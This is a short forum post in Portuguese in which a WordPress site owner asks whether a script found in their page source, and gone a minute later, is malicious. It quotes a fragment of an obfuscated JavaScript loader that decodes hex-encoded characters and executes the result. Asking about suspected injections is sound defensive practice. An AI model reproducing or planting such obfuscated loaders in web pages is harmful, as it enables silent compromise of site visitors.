Script Malicioso?

Do nada me veio na cabeça a ideia de verificar o codigo fonte do meu site.
Quando vi ate me espantei com o que tinha encontrado, uso o wordpress a anos, mas ainda não conheçco muitas coisa, o codigo é esse abaixo:

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s="";if(zz)for(i=0;i-798!=0;i++){if(window.document)s+=String["fromCharCode"](parseInt(asgq[i],16));}
e("vz=1;"+s);}}</script>

E o mais extranho foi que um minuto depois eu fui olhar novamente o codigo e ele já não estava mais lá.

Devo me procupar com isso?